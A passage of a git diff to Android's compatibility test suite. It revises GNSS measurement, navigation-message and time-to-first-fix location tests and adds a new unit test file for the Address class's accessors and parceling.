  * 2. If no {@link GnssMeasurementsEvent} are received, then check whether the device is deep indoor.
  *    This is done by performing the following steps:
@@ -49,10 +46,9 @@
  *          2.3 If no {@link GnssStatus} is received this will mean that the device is located
  *              indoor. Test will be skipped.
  *          2.4 If we receive a {@link GnssStatus}, it mean that {@link GnssMeasurementsEvent}s are
- *              provided only if the application registers for location updates as well:
- *                  2.4.1 The test will pass with a warning for the M release.
- *                  2.4.2 The test might fail in a future Android release, when this requirement
- *                        becomes mandatory.
+ *              provided only if the application registers for location updates as well. Since
+ *              Android Q, it is mandatory to report GnssMeasurement even if a location has not
+ *              yet been reported. Therefore, the test fails.
  */
 public class GnssMeasurementRegistrationTest extends GnssTestCase {
 
@@ -86,9 +82,7 @@
      */
     public void testGnssMeasurementRegistration() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -101,26 +95,47 @@
         mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
         mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
 
-        mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict verifyStatus will assert conditions are good for further testing.
-            // Else this returns false and, we arrive here, and then return from here (pass.)
+        verifyGnssMeasurementsReceived();
+    }
+
+    /**
+     * Test GPS measurements registration with full tracking enabled.
+     */
+    public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
+        if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+                new GnssMeasurementRequest.Builder().setFullTracking(true).build());
+
+        verifyGnssMeasurementsReceived();
+    }
+
+    private void verifyGnssMeasurementsReceived() throws InterruptedException {
+        mMeasurementListener.await();
+
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
 
         if (!events.isEmpty()) {
-           // Test passes if we get at least 1 pseudorange.
-           Log.i(TAG, "Received GPS measurements. Test Pass.");
-           return;
+            // Test passes if we get at least 1 pseudorange.
+            Log.i(TAG, "Received GPS measurements. Test Pass.");
+            return;
         }
 
         SoftAssert.failAsWarning(
                 TAG,
                 "GPS measurements were not received without registering for location updates. "
-                + "Trying again with Location request.");
+                        + "Trying again with Location request.");
 
         // Register for location updates.
         mLocationListener = new TestLocationListener(EVENTS_COUNT);
@@ -137,6 +152,14 @@
         softAssert.assertTrue(
                 "Did not receive any GnssMeasurement events.  Retry outdoors?",
                 !events.isEmpty());
+
+        softAssert.assertTrue(
+                "Received GnssMeasurement events only when registering for location updates. "
+                        + "Since Android Q, device MUST report GNSS measurements, as soon as they"
+                        + " are found, even if a location calculated from GPS/GNSS is not yet "
+                        + "reported.",
+                events.isEmpty());
+
         softAssert.assertAll();
     }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
index e8c8ab1..20357c1 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -24,7 +24,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.HashSet;
@@ -40,12 +39,10 @@
  * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
  *          3.1 Confirm locations have been found.
  * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
- *    one of the following reasons:
- *          4.1 the device does not support the GPS feature,
- *          4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
- *  5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
- *     mandatory fields is not populated or in the expected range.
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ *    does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
+ *    mandatory fields is not populated or in the expected range.
  */
 public class GnssMeasurementValuesTest extends GnssTestCase {
 
@@ -84,9 +81,7 @@
      */
     public void testListenForGnssMeasurements() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -118,12 +113,6 @@
 
         Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
 
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict and verifyStatus returns false, an assert exception happens and
-            // test fails.   If test is not strict, we arrive here, and:
-            return; // exit (with pass)
-        }
-
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         int eventCount = events.size();
         Log.i(TAG, "Number of Gps Event received = " + eventCount);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
index 35aaa4d..9acc4af 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.TestGnssMeasurementListener;
 import android.location.cts.common.TestLocationListener;
-import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.location.cts.common.TestUtils;
@@ -50,15 +49,12 @@
  *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
  *    following reasons:
  *          4.1 the device does not support the feature,
- *          4.2 GPS Locaiton is disabled in the device && the test is CTS non-verifier
  * 6. Check whether the device is deep indoor. This is done by performing the following steps:
  *          4.1 If no {@link GnssStatus} is received this will mean that the device is located
  *              indoor. The test will be skipped if not strict (CTS or pre-2016.)
  * 7. When the device is not indoor, verify that we receive {@link GnssMeasurementsEvent}s before
  *    a GPS location is calculated, and reported by GPS HAL. If {@link GnssMeasurementsEvent}s are
- *    only received after a location update is received:
- *          4.1.1 The test will pass with a warning for the M release.
- *          4.1.2 The test will fail on N with CTS-Verifier & newer (2016+) GPS hardware.
+ *    only received after a location update is received, the test will pass with a warning.
  * 8. If {@link GnssMeasurementsEvent}s are received: verify all mandatory fields, the test will
  *    fail if any of the mandatory fields is not populated or in the expected range.
  */
@@ -102,9 +98,7 @@
     @AppModeFull(reason = "Requires use of extra LocationManager commands")
     public void testGnssMeasurementWhenNoLocation() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -115,13 +109,9 @@
 
         // Set the device in airplane mode so that the GPS assistance data cannot be downloaded.
         // This results in GNSS measurements being reported before a location is reported.
-        // NOTE: Changing global setting airplane_mode_on is not allowed in CtsVerifier application.
-        //       Hence, airplane mode is turned on only when this test is run as a regular CTS test
-        //       and not when it is invoked through CtsVerifier.
-        boolean isAirplaneModeOffBeforeTest = true;
         // Record the state of the airplane mode before the test so that we can restore it
         // after the test.
-        isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
+        boolean isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
         if (isAirplaneModeOffBeforeTest) {
             TestUtils.setAirplaneModeOn(getContext(), true);
         }
@@ -145,11 +135,6 @@
             mLocationListener = new TestLocationListener(LOCATIONS_COUNT);
             mTestLocationManager.requestLocationUpdates(mLocationListener);
 
-            mMeasurementListener.awaitStatus();
-            if (!mMeasurementListener.verifyStatus()) {
-                return; // exit peacefully (if not already asserted out inside verifyStatus)
-            }
-
             // Wait for two measurement events - this is better than waiting for a location
             // calculation because the test generally completes much faster.
             mMeasurementListener.await();
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
index 0c30cce..3db1325 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
@@ -25,7 +25,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -36,15 +35,9 @@
  * Test steps:
  * 1. Register a listener for {@link GnssMeasurementsEvent}s and location updates.
  * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          2.1 the device does not support the feature,
- *          2.2 GPS is disabled in the device,
- *          // TODO: This is true only for cts, for verifier mode we need to modify
- *                   TestGnssMeasurementListener to fail the test.
- *          2.3 Location is disabled in the device.
- * 3. If no {@link GnssMeasurementsEvent} is received then test is skipped in cts mode and fails in
- *    cts verifier mode.
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped if the device does not
+ *    support the feature,
+ * 3. If no {@link GnssMeasurementsEvent} is received then the test fails.
  * 4. Check if one of the received measurements has constellation other than GPS.
  */
 public class GnssMeasurementsConstellationTest extends GnssTestCase {
@@ -79,9 +72,7 @@
      */
     public void testGnssMultiConstellationSupported() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -99,9 +90,6 @@
         mTestLocationManager.requestLocationUpdates(mLocationListener);
 
         mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            return;
-        }
 
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
index 9491bda..ee77f36 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -89,9 +88,7 @@
      */
     public void testGnssNavigationMessageRegistration() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -106,7 +103,10 @@
         mTestLocationManager.registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
 
         mTestGnssNavigationMessageListener.await();
-        if (!mTestGnssNavigationMessageListener.verifyState()) {
+
+        if (!mTestLocationManager.getLocationManager().getGnssCapabilities()
+                .hasNavigationMessages()) {
+            Log.i(TAG, "Skip the test since NavigationMessage is not supported.");
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
index 246df43..0cf7e25 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.os.Parcel;
 import android.util.Log;
 
@@ -78,9 +77,7 @@
      */
     public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -100,9 +97,12 @@
 
         boolean success = mTestGnssNavigationMessageListener.await();
 
-        if (!mTestGnssNavigationMessageListener.verifyState()) {
+        if (!mTestLocationManager.getLocationManager().getGnssCapabilities()
+                .hasNavigationMessages()) {
+            Log.i(TAG, "Skip the test since NavigationMessage is not supported.");
             return;
         }
+
         SoftAssert softAssert = new SoftAssert(TAG);
         softAssert.assertTrue(
             "Time elapsed without getting enough navigation messages."
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index 2b8509e..db2e424 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -27,7 +27,6 @@
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
 import android.location.cts.gnss.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
-import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
@@ -110,9 +109,7 @@
   @CddTest(requirement="7.3.3")
   public void testPseudorangeValue() throws Exception {
     // Checks if Gnss hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-          mTestLocationManager,
-          TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -139,11 +136,6 @@
 
     Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
 
-    if (!mMeasurementListener.verifyStatus()) {
-      // If verifyStatus returns false, an assert exception happens and test fails.
-      return; // exit (with pass)
-    }
-
     List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
     int eventCount = events.size();
     Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
@@ -261,9 +253,7 @@
     @RequiresDevice  // emulated devices do not support real measurements so far.
     public void testPseudoPosition() throws Exception {
         // Checks if Gnss hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index 27467db..e23dd84 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -6,7 +6,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 public class GnssStatusTest extends GnssTestCase  {
@@ -26,8 +25,7 @@
    */
   public void testGnssStatusChanges() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -65,8 +63,7 @@
    */
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
     SoftAssert softAssert = new SoftAssert(TAG);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
index 81c0292..c869fee 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -28,10 +28,10 @@
   private static final int AIDING_DATA_RESET_DELAY_SECS = 10;
   // Threshold values
   private static final int TTFF_HOT_TH_SECS = 5;
-  private static final int TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS = 10;
+  private static final int TTFF_WITH_WIFI_CELLUAR_COLD_TH_SECS = 10;
   // The worst case we saw in the Nexus 6p device is 15sec,
   // adding 20% margin to the threshold
-  private static final int TTFF_WITH_WIFI_ONLY_WARM_TH_SECS = 18;
+  private static final int TTFF_WITH_WIFI_ONLY_COLD_TH_SECS = 18;
 
   @Override
   protected void setUp() throws Exception {
@@ -40,9 +40,9 @@
   }
 
   /**
-   * Test the TTFF in the case where there is a network connection for both warm and hot start TTFF
+   * Test the TTFF in the case where there is a network connection for both cold and hot start TTFF
    * cases.
-   * We first test the "WARM" start where different TTFF thresholds are chosen based on network
+   * We first test the "COLD" start where different TTFF thresholds are chosen based on network
    * connection (cellular vs Wifi). Then we test the "HOT" start where the type of network
    * connection should not matter hence one threshold is used.
    * @throws Exception
@@ -56,26 +56,26 @@
 
     ensureNetworkStatus();
     if (hasCellularData()) {
-      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS);
+      checkTtffColdWithWifiOn(TTFF_WITH_WIFI_CELLUAR_COLD_TH_SECS);
     }
     else {
-      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_ONLY_WARM_TH_SECS);
+      checkTtffColdWithWifiOn(TTFF_WITH_WIFI_ONLY_COLD_TH_SECS);
     }
     checkTtffHotWithWifiOn(TTFF_HOT_TH_SECS);
   }
 
   /**
    * Test Scenario 1
-   * Check whether TTFF is below the threshold on the warm start with Wifi ON
+   * Check whether TTFF is below the threshold on the cold start with Wifi ON
    * 1) Delete the aiding data.
    * 2) Get GPS, check the TTFF value
    * @param threshold, the threshold for the TTFF value
    */
-  private void checkTtffWarmWithWifiOn(long threshold) throws Exception {
+  private void checkTtffColdWithWifiOn(long threshold) throws Exception {
     SoftAssert softAssert = new SoftAssert(TAG);
     mTestLocationManager.sendExtraCommand("delete_aiding_data");
     Thread.sleep(TimeUnit.SECONDS.toMillis(AIDING_DATA_RESET_DELAY_SECS));
-    checkTtffByThreshold("checkTtffWarmWithWifiOn",
+    checkTtffByThreshold("checkTtffColdWithWifiOn",
         TimeUnit.SECONDS.toMillis(threshold), softAssert);
     softAssert.assertAll();
   }
diff --git a/tests/location/location_none/Android.bp b/tests/location/location_none/Android.bp
index 9666ad9..3cc6954 100644
--- a/tests/location/location_none/Android.bp
+++ b/tests/location/location_none/Android.bp
@@ -26,6 +26,8 @@
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        // TODO: remove once Android migrates to JUnit 4.12, which provides assertThrows:
+        "testng",
         "truth-prebuilt",
     ],
     libs: [
diff --git a/tests/location/location_none/src/android/location/cts/none/AddressTest.java b/tests/location/location_none/src/android/location/cts/none/AddressTest.java
new file mode 100644
index 0000000..3cdd139
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/AddressTest.java
@@ -0,0 +1,359 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.util.Locale;
+
+import android.location.Address;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AddressTest {
+
+    private static final double DELTA = 0.001;
+
+    @Test
+    public void testConstructor() {
+        new Address(Locale.ENGLISH);
+
+        new Address(Locale.FRANCE);
+
+        new Address(null);
+    }
+
+    @Test
+    public void testAccessAdminArea() {
+        Address address = new Address(Locale.ITALY);
+
+        String adminArea = "CA";
+        address.setAdminArea(adminArea);
+        assertEquals(adminArea, address.getAdminArea());
+
+        address.setAdminArea(null);
+        assertNull(address.getAdminArea());
+    }
+
+    @Test
+    public void testAccessCountryCode() {
+        Address address = new Address(Locale.JAPAN);
+
+        String countryCode = "US";
+        address.setCountryCode(countryCode);
+        assertEquals(countryCode, address.getCountryCode());
+
+        address.setCountryCode(null);
+        assertNull(address.getCountryCode());
+    }
+
+    @Test
+    public void testAccessCountryName() {
+        Address address = new Address(Locale.KOREA);
+
+        String countryName = "China";
+        address.setCountryName(countryName);
+        assertEquals(countryName, address.getCountryName());
+
+        address.setCountryName(null);
+        assertNull(address.getCountryName());
+    }
+
+    @Test
+    public void testAccessExtras() {
+        Address address = new Address(Locale.TAIWAN);
+
+        Bundle extras = new Bundle();
+        extras.putBoolean("key1", false);
+        byte b = 10;
+        extras.putByte("key2", b);
+
+        address.setExtras(extras);
+        Bundle actual = address.getExtras();
+        assertFalse(actual.getBoolean("key1"));
+        assertEquals(b, actual.getByte("key2"));
+
+        address.setExtras(null);
+        assertNull(address.getExtras());
+    }
+
+    @Test
+    public void testAccessFeatureName() {
+        Address address = new Address(Locale.SIMPLIFIED_CHINESE);
+
+        String featureName = "Golden Gate Bridge";
+        address.setFeatureName(featureName);
+        assertEquals(featureName, address.getFeatureName());
+
+        address.setFeatureName(null);
+        assertNull(address.getFeatureName());
+    }
+
+    @Test
+    public void testAccessLatitude() {
+        Address address = new Address(Locale.CHINA);
+        assertFalse(address.hasLatitude());
+
+        double latitude = 1.23456789;
+        address.setLatitude(latitude);
+        assertTrue(address.hasLatitude());
+        assertEquals(latitude, address.getLatitude(), DELTA);
+
+        address.clearLatitude();
+        assertFalse(address.hasLatitude());
+        try {
+            address.getLatitude();
+            fail("should throw IllegalStateException.");
+        } catch (IllegalStateException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void testAccessLongitude() {
+        Address address = new Address(Locale.CHINA);
+        assertFalse(address.hasLongitude());
+
+        double longitude = 1.23456789;
+        address.setLongitude(longitude);
+        assertTrue(address.hasLongitude());
+        assertEquals(longitude, address.getLongitude(), DELTA);
+
+        address.clearLongitude();
+        assertFalse(address.hasLongitude());
+        try {
+            address.getLongitude();
+            fail("should throw IllegalStateException.");
+        } catch (IllegalStateException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void testAccessPhone() {
+        Address address = new Address(Locale.CHINA);
+
+        String phone = "+86-13512345678";
+        address.setPhone(phone);
+        assertEquals(phone, address.getPhone());
+
+        address.setPhone(null);
+        assertNull(address.getPhone());
+    }
+
+    @Test
+    public void testAccessPostalCode() {
+        Address address = new Address(Locale.CHINA);
+
+        String postalCode = "93110";
+        address.setPostalCode(postalCode);
+        assertEquals(postalCode, address.getPostalCode());
+
+        address.setPostalCode(null);
+        assertNull(address.getPostalCode());
+    }
+
+    @Test
+    public void testAccessThoroughfare() {
+        Address address = new Address(Locale.CHINA);
+
+        String thoroughfare = "1600 Ampitheater Parkway";
+        address.setThoroughfare(thoroughfare);
+        assertEquals(thoroughfare, address.getThoroughfare());
+
+        address.setThoroughfare(null);
+        assertNull(address.getThoroughfare());
+    }
+
+    @Test
+    public void testAccessUrl() {
+        Address address = new Address(Locale.CHINA);
+
+        String Url = "Url";
+        address.setUrl(Url);
+        assertEquals(Url, address.getUrl());
+
+        address.setUrl(null);
+        assertNull(address.getUrl());
+    }
+
+    @Test
+    public void testAccessSubAdminArea() {
+        Address address = new Address(Locale.CHINA);
+
+        String subAdminArea = "Santa Clara County";
+        address.setSubAdminArea(subAdminArea);
+        assertEquals(subAdminArea, address.getSubAdminArea());
+
+        address.setSubAdminArea(null);
+        assertNull(address.getSubAdminArea());
+    }
+
+    @Test
+    public void testToString() {
+        Address address = new Address(Locale.CHINA);
+
+        address.setUrl("www.google.com");
+        address.setPostalCode("95120");
+        String expected = "Address[addressLines=[],feature=null,admin=null,sub-admin=null," +
+                "locality=null,thoroughfare=null,postalCode=95120,countryCode=null," +
+                "countryName=null,hasLatitude=false,latitude=0.0,hasLongitude=false," +
+                "longitude=0.0,phone=null,url=www.google.com,extras=null]";
+        assertEquals(expected, address.toString());
+    }
+
+    @Test
+    public void testAddressLine() {
+        Address address = new Address(Locale.CHINA);
+
+        try {
+            address.setAddressLine(-1, null);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+
+        try {
+            address.getAddressLine(-1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+
+        address.setAddressLine(0, null);
+        assertNull(address.getAddressLine(0));
+        assertEquals(0, address.getMaxAddressLineIndex());
+
+        final String line1 = "1";
+        address.setAddressLine(0, line1);
+        assertEquals(line1, address.getAddressLine(0));
+        assertEquals(0, address.getMaxAddressLineIndex());
+
+        final String line2 = "2";
+        address.setAddressLine(5, line2);
+        assertEquals(line2, address.getAddressLine(5));
+        assertEquals(5, address.getMaxAddressLineIndex());
+
+        address.setAddressLine(2, null);
+        assertNull(address.getAddressLine(2));
+        assertEquals(5, address.getMaxAddressLineIndex());
+    }
+
+    @Test
+    public void testGetLocale() {
+        Locale locale = Locale.US;
+        Address address = new Address(locale);
+        assertSame(locale, address.getLocale());
+
+        locale = Locale.UK;
+        address = new Address(locale);
+        assertSame(locale, address.getLocale());
+
+        address = new Address(null);
+        assertNull(address.getLocale());
+    }
+
+    @Test
+    public void testAccessLocality() {
+        Address address = new Address(Locale.PRC);
+
+        String locality = "Hollywood";
+        address.setLocality(locality);
+        assertEquals(locality, address.getLocality());
+
+        address.setLocality(null);
+        assertNull(address.getLocality());
+    }
+
+    @Test
+    public void testAccessPremises() {
+        Address address = new Address(Locale.PRC);
+
+        String premises = "Appartment";
+        address.setPremises(premises);
+        assertEquals(premises, address.getPremises());
+
+        address.setPremises(null);
+        assertNull(address.getPremises());
+    }
+
+    @Test
+    public void testAccessSubLocality() {
+        Address address = new Address(Locale.PRC);
+
+        String subLocality = "Sarchnar";
+        address.setSubLocality(subLocality);
+        assertEquals(subLocality, address.getSubLocality());
+
+        address.setSubLocality(null);
+        assertNull(address.getSubLocality());
+    }
+
+    @Test
+    public void testAccessSubThoroughfare() {
+        Address address = new Address(Locale.PRC);
+
+        String subThoroughfare = "1600";
+        address.setSubThoroughfare(subThoroughfare);
+        assertEquals(subThoroughfare, address.getSubThoroughfare());
+
+        address.setSubThoroughfare(null);
+        assertNull(address.getSubThoroughfare());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Locale locale = Locale.KOREA;
+        Address address = new Address(locale);
+
+        Parcel parcel = Parcel.obtain();
+        address.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        assertEquals(locale.getLanguage(), parcel.readString());
+        assertEquals(locale.getCountry(), parcel.readString());
+        assertEquals(0, parcel.readInt());
+        assertEquals(address.getFeatureName(), parcel.readString());
+        assertEquals(address.getAdminArea(), parcel.readString());
+        assertEquals(address.getSubAdminArea(), parcel.readString());
+        assertEquals(address.getLocality(), parcel.readString());
+        assertEquals(address.getSubLocality(), parcel.readString());
+        assertEquals(address.getThoroughfare(), parcel.readString());
+        assertEquals(address.getSubThoroughfare(), parcel.readString());
+        assertEquals(address.getPremises(), parcel.readString());
+        assertEquals(address.getPostalCode(), parcel.readString());
+        assertEquals(address.getCountryCode(), parcel.readString());
+        assertEquals(address.getCountryName(), parcel.readString());
+        assertEquals(0, parcel.readInt());
+        assertEquals(0, parcel.readInt());
+        assertEquals(address.getPhone(), parcel.readString());
+        assertEquals(address.getUrl(), parcel.readString());
+        assertEquals(address.getExtras(), parcel.readBundle());
+
+        parcel.recycle();
+    }
+}
